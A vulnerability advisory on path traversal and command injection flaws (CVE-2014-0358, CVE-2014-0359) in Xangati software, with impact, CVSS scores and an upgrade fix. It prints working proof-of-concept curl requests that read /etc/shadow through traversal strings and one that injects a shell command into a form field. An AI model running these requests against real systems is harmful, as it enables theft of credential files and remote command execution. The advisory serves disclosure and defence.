Xangati software release contains relative path traversal and command injection vulnerabilities

Overview

Xangati’s software release contains relative path traversal (CWE-23) and command injection (CWE-78) vulnerabilities.

Description

Xangati’s software release contains relative path traversal (CWE-23) and command injection (CWE-78) vulnerabilities.

**CWE-23: Relative Path Traversal -**CVE-2014-0358
The reporter has provided the following as a proof-of-concept. Authentication is not required to exploit these vulnerabilities.

curl -i -s -k -X 'POST' \
-H 'Content-Type: application/x-www-form-urlencoded' -H 'User-Agent: Java/1.7.0_25' \
--data-binary $'key=foo&request=getUpgradeStatus&file=%2Ffloodguard%2Freports%2F../../../../../etc/shadow' \
'hxxps://127.10.10.5/servlet/MGConfigData'

POST /servlet/MGConfigData HTTP/1.1
key=validkey&request=download&download=%2Ffloodguard%2Fdata%2F../../../../../../etc/shadow&updLaterThan=0&head=0&start=0&limit=4950&remote=127.10.10.5

POST /servlet/MGConfigData HTTP/1.1
key=validkey&request=port_svc&download=%2Ffloodguard%2Fdata%2F../../../../../../../etc/shadow&updLaterThan=0&remote=127.10.10.5

curl -i -s -k -X 'POST' \
-H 'Content-Type: application/x-www-form-urlencoded' -H 'User-Agent: Java/1.7.0_25' \
--data-binary $'key=validkey&falconConfig=getfile&file=%2Ffloodguard%2F../../../../../../../../../etc/shadow' \
'hxxps://127.10.10.5/servlet/Installer'

curl -i -s -k -X 'POST' \
-H 'Content-Type: application/x-www-form-urlencoded' -H 'User-Agent: Java/1.7.0_25' \
--data-binary $'key=validkey&binfile=%2Fourlogs%2F../../../../../../../../../etc/shadow' \
'hxxps://127.10.10.5/servlet/MGConfigData'

**CWE-78: Improper Neutralization of Special Elements used in an OS Command -**CVE-2014-0359
The reporter has provided the following as a proof-of-concept. Authentication is required to exploit this vulnerability.

curl -i -s -k -X 'POST' \
-H 'Content-Type: application/x-www-form-urlencoded' -H 'User-Agent: Java/1.7.0_25' \
--data-binary $'key=validkey&falconConfig=validateTest&path=%2Fvar%2Ftmp%2F&params=gui_input_test.pl&params=-p+localhost;CMD%3d$\'cat\\x20/etc/shadow\';$CMD;+YES' \
'hxxps://127.10.10.5/servlet/Installer'

The CVSS score below is for CVE-2014-0359.

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Impact

A remote unauthenticated attacker may be able to read system files. A remote authenticated attacker may be able to run arbitrary system commands.

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Solution

Apply an Update

Upgrade to XSR11 or XNR 7 for the appropriate product…

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Vendor Information

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Xangati Inc Affected

Notified: January 23, 2014 Updated: April 11, 2014

Status

Affected

Vendor Statement

We have not received a statement from the vendor.

Vendor Information

We are not aware of further vendor information regarding this vulnerability.

CVSS Metrics

Group	Score	Vector
Base	9.4	AV:N/AC:L/Au:N/C:C/I:C/A:N
Temporal	8.2	E:ND/RL:OF/RC:C
Environmental	2.1	CDP:ND/TD:L/CR:ND/IR:ND/AR:ND

References

• <https://cwe.mitre.org/data/definitions/78.html&gt;
• <https://cwe.mitre.org/data/definitions/23.html&gt;
• <http://xangati.com/products/&gt;

Acknowledgements

Thanks to Jan Kadijk for reporting this vulnerability.

This document was written by Jared Allar.

Other Information

CVE IDs:	CVE-2014-0358, CVE-2014-0359
Date Public:	2014-04-14 Date First Published: